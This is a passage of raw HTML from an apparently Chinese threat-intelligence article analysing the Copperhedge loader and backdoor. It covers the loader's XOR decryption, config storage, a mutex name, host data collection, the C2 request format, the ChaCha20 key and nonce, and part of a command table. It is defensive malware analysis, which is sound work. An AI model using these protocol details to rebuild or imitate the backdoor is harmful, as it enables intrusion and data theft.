12pt;font-family: 宋体;font-weight: normal;margin-bottom: 10pt;line-height: 150%;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.6698523023457863" style="width: 553.74px;height: 370.94px;" data-w="1151" src="https://wechat2rss.xlab.app/img-proxy/?k=e8295003&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXL9EpBn7oeia5Iqzq1ibJtMRoMFSZ5ojNfFviaMs1kg3IMkPIydiaiasic4cQ7uCAGtIvUTCTrGaLKW4KsdUWS6DIfuD6ZXPlFuNl8LM%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;color: rgb(2, 30, 170);font-weight: normal;">图 1 攻击流程图</span></span></p><h2 style="margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="font-family: 黑体;font-variant: normal;text-transform: none;"><span textstyle="" style="font-size: 17px;color: rgb(190, 25, 31);font-weight: bold;">2. </span></span><span leaf="" style="font-family: 黑体;font-variant: normal;text-transform: none;"><span textstyle="" style="font-size: 17px;color: rgb(190, 25, 31);font-weight: bold;">攻击组件分析</span></span></h2><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Copperhedge </span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Loader使用的是循环密钥异或解密算法：以一个 56 字节的硬编码密钥，对目标数据逐字节循环异或，共处理 184320 字节，随后将解密的Copperhedge Backdoor样本加载到内存执行。</span><o:page></o:page></p><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-bottom: 10pt;line-height: 150%;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.36511156186612576" data-w="986" style="width: 553.74px;height: 202.2px;" src="https://wechat2rss.xlab.app/img-proxy/?k=9794eaf1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJq34SVes1iarCtTjQTHRicNjLvYtLzGR5u0kZOZSS2mkZEqXadcpaudtOWUUjiavyUODWPjp3NBnZ2Gwyeg7lpZ7uibEfyhQ44zw4%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;color: rgb(2, 30, 170);font-weight: normal;">图 2 Copperhedge Loader解密后续载荷代码示例</span></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Copperhedge Backdoor是Manuscrypt恶意组件变种，由CISA在2020年披露。</span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">样本首先会根据Loader传递的模式存储配置信息，在模式3下，将配置信息加密保存至\AppData\Local\Microsoft\Internet Explorer\brndlog.txt文件，在其他模式(小于6)下，保存至注册表中。</span></p><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 16px;margin-bottom: 16px;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.37538148524923703" data-w="983" style="width: 553.74px;height: 207.87px;" src="https://wechat2rss.xlab.app/img-proxy/?k=5e4667ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJbkqxLyVDL6DC9FEkab6icGULBWnG2qDiaicmoNeFAyick3AyLcmjzVFSOQcDjicreia0foAkKJIqic2iaR7WBQr0J4NGF9nianAiaD7RfE%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 16px;margin-bottom: 16px;"><span style="text-align: center;text-indent: 0pt;line-height: normal;font-size: 12pt;font-weight: normal;font-family: 等线;font-variant: normal;text-transform: none;"><span leaf="" style="font-family: 等线;font-variant: normal;text-transform: none;"><span textstyle="" style="font-size: 14px;color: rgb(2, 30, 170);font-weight: normal;">图 3 配置信息保存方式1</span></span></span><span style="text-align: center;text-indent: 0pt;line-height: normal;font-size: 12pt;font-weight: normal;font-family: 等线;font-variant: normal;text-transform: none;"><span leaf="" style="font-family: 等线;font-variant: normal;text-transform: none;"><span textstyle="" style="font-size: 14px;color: rgb(2, 30, 170);font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3146997929606625" data-w="966" style="width: 553.74px;height: 174.27px;" src="https://wechat2rss.xlab.app/img-proxy/?k=f129f524&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKmr2yN67YypMxDQoHJMjZnntmWWUqvYyeNX4aNO4TjxTL8TcIibxeEfHHtakd3ctfGuhCXrzUhpSgV2TdmSOrDPmdKAr1gT6QY%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="font-family: 等线;font-variant: normal;text-transform: none;"><span textstyle="" style="font-size: 14px;color: rgb(2, 30, 170);font-weight: normal;">图4 配置信息保存方式2</span></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Copperhedge Backdoor在执行过程中会创建一个名为“MsSecurityObj”的互斥锁，以防止同一恶意组件的重复执行。值得注意的是，该互斥锁的名称与我们在长期跟踪中所记录的Copperhedge组件所使用的互斥锁名称完全一致。</span></p><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-bottom: 0px;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.35319148936170214" data-w="705" style="width: 553.74px;height: 195.6px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ab6e712b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXKPIv9CFV4BW54uF57bHh4ZkGUhu1QiaM0bMlxGib4MI1U18vKLm8ZHYTUjPnVGDX7XzwQvLGapM8F4ldllPe3ibrUAHKhO2JM9SU%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0px;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><span textstyle="" style="font-size: 14px;color: rgb(2, 30, 170);font-weight: normal;">图 5 创建互斥体</span></span></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">然后，后门将收集系统信息，包括计算机名称、用户名、本地IP地址、Windows产品名称（ProductName）、系统代码页（ACP）、当前模块文件路径及其模块名。接下来，它将计算机名称、处理器名称和加载器文件名组合起来，生成一个CRC哈希值。</span><o:page></o:page></p><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5729794933655006" data-w="829" style="width: 553.74px;height: 317.27px;" src="https://wechat2rss.xlab.app/img-proxy/?k=543f2d96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLyzRx60GVamicZR4fFgGJV0ILI7UVf9QHt6hRrMVVMJ4cMTueZkWLnCIhvGVbsyMoYReKLVYTejzWcU0FtJQS5rY46ticKedhLI%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;color: rgb(2, 30, 170);font-weight: normal;">图 6 信息收集</span></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在进行C2通信时，该后门会构造包含3至4个参数的HTTP请求。其中，首个参数的值为1000至9999之间的随机数；第二个参数采用硬编码字符串T3F56E5UJH0JC3D4作为标识符；最后一个参数是发往C2的数据，内容为随机生成的4字节值（经Base64编码）。请求发送后，它会接收C2服务器返回的响应数据，并对其进行Base64解码处理。</span><o:page></o:page></p><p style="text-align: center;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5969331872946331" data-w="913" style="width: 553.74px;height: 330.54px;" src="https://wechat2rss.xlab.app/img-proxy/?k=2491f065&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIQWOTBhDLuWkoUnyss99e1JjswcicccBXduKBaMP0yO5bQlHtuZulQY58jia3VcCS2BSnECrfCbPibmdA6mvEatjRYS3AQOb3trQ%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;color: rgb(2, 30, 170);font-weight: normal;">图 7 参数选择</span></span></p><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;color: rgb(2, 30, 170);font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.44676616915422884" data-w="1005" style="width: 553.74px;height: 247.4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=f774f70c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLUnRkfTsl3XZMCia1LhQpO3wr2vfBQyprjgW0obfmZhyshZkAUgT6ibWtKUBUy02keZEJp9tSSeiabficz5dyqvlQIeWsoSw6zib6E%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><span data-pm-slice="0 0 []"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;color: rgb(2, 30, 170);font-weight: normal;">图 8 </span></span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;color: rgb(2, 30, 170);font-weight: normal;">请求</span></span><span lang="EN-US"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;color: rgb(2, 30, 170);font-weight: normal;">C2</span></span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;color: rgb(2, 30, 170);font-weight: normal;">并解码接收数据</span></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在后续通信，样本会使用ChaCha20-&gt;XOR加密-&gt;BASE64编码方式加密发送到C2的数据，从服务器接收数据后，使用反向顺序来提取明文。</span></p><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;color: rgb(2, 30, 170);font-weight: normal;">表 1 内置密钥信息</span></span></p><table interlaced="enabled" style="margin-left:0.0;border:none;border-collapse:collapse;mso-border-top-alt:solid #7F7F7F 0.5pt;mso-border-left-alt:none;mso-border-bottom-alt:solid #7F7F7F 0.5pt;mso-border-right-alt:none;mso-padding-alt:0pt 5.4pt 0pt 5.4pt;width:547px;"><tbody><tr class="ue-table-interlace-color-single"><td data-colwidth="199" width="277" valign="top" style="border-width: 1pt medium;border-style: solid none;border-color: rgb(127, 127, 127) currentcolor;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;font-weight:normal;"><span leaf="" mpa-font-style="mpwdyhli1wk7" style="font-size: 16px;" data-mpa-action-id="mpwdyhlu191b" data-pm-slice="0 0 []">ChaCha20密钥</span></span></p></td><td data-colwidth="348" width="277" valign="top" style="border-width: 1pt medium;border-style: solid none;border-color: rgb(127, 127, 127) currentcolor;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;font-weight:normal;"><span leaf="" mpa-font-style="mpwdydbb15dq" style="font-size: 16px;" data-mpa-action-id="mpwdydbl1ne7" data-pm-slice="0 0 []">7A C3 19 5F 42 E6 8B D0 13 A7 F4 26 9D 5B C1 38 EF 74 29 8C 51 DA 36 90 B2 68 FC 0D 83 47 AE 11</span></span><o:page></o:page></p></td></tr><tr class="ue-table-interlace-color-double"><td data-colwidth="199" width="277" valign="top" style="border-width: 1pt medium;border-style: solid none;border-color: rgb(127, 127, 127) currentcolor;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bidi-font-size:10.5pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;font-weight:normal;background:#FFFFFF;"><span leaf="" mpa-font-style="mpwdyr251p43" style="font-size: 16px;" data-mpa-action-id="mpwdyr2rp5c" data-pm-slice="0 0 []">ChaCha20 Nonce</span></span></p></td><td data-colwidth="348" width="277" valign="top" style="border-width: 1pt medium;border-style: solid none;border-color: rgb(127, 127, 127) currentcolor;padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;"><span leaf="" mpa-font-style="mpwdyvdohtg" style="font-size: 16px;" data-mpa-action-id="mpwdyvea235b" data-pm-slice="0 0 []">876543210987</span></span></p></td></tr><tr class="ue-table-interlace-color-single"><td data-colwidth="199" width="277" valign="top" style="border-width: medium medium 1pt;border-style: none none solid;border-color: currentcolor currentcolor rgb(127, 127, 127);padding: 0pt 5.4pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: &#39;宋体&#39;;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;"><span style="mso-bidi-font-size:10.5pt;font-family:Segoe UI;mso-ascii-font-family:Segoe UI;mso-fareast-font-family:等线;mso-bidi-font-family:Segoe UI;font-variant:normal;text-transform:none;color:#172B4D;font-weight:normal;background:#FFFFFF;"><span leaf="" mpa-font-style="mpwdyyld221" style="font-size: 16px;" data-mpa-action-id="mpwdyylw1g2i" data-pm-slice="0 0 []">ChaCha20 Counter</span></span></p></td><td data-colwidth="348" width="277" valign="top" style="border-width: medium medium 1pt;border-style: none none solid;border-color: currentcolor currentcolor rgb(127, 127, 127);padding: 0pt 5.4pt;"><p style="text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;"><span style="font-family: 等线;font-variant: normal;text-transform: none;"><span leaf="" mpa-font-style="mpwdz241rg5" style="font-size: 16px;" data-mpa-action-id="mpwdz24jxg2" data-pm-slice="0 0 []">255</span></span></p></td></tr></tbody></table><p style="text-align: center;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6488169364881694" data-w="803" style="width: 553.74px;height: 359.27px;" src="https://wechat2rss.xlab.app/img-proxy/?k=44295b11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKMdw2o8l3wNkvOZia6rAWyapLawkv69JXicO1JwdPgV9oX8KRorSjUJqvY99O7G1FSFG2dtVZibibqCxpcYpI92SNqXiaF94SxowQ4%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;color: rgb(2, 30, 170);font-weight: normal;">图 9 加密数据示例</span></span></p><p style="text-indent: 2em;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">在该后门中，包含30个命令与11个响应代码，如下表所示。</span></p><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;color: rgb(2, 30, 170);font-weight: normal;">表 2 命令与控制代码</span></span></p><table style="border-collapse:collapse;border:none;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:background1;mso-border-themeshade:191;mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt;width:515px;"><tbody><tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes;"><td data-colwidth="111" width="11%" valign="top" style="border: 1pt solid rgb(191, 191, 191);padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">命令</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: 1pt 1pt 1pt medium;border-style: solid solid solid none;border-color: rgb(191, 191, 191) rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;border-image: initial;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">描述</span></span></p></td></tr><tr style="mso-yfti-irow:1;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2003</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">发送收集的系统信息</span></span></p></td></tr><tr style="mso-yfti-irow:2;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2004</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">发送系统驱动器信息</span></span></p></td></tr><tr style="mso-yfti-irow:3;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2005</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">发送指定目录文件列表</span></span></p></td></tr><tr style="mso-yfti-irow:4;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2006</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">指定命令执行并发送</span></span></p></td></tr><tr style="mso-yfti-irow:5;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" 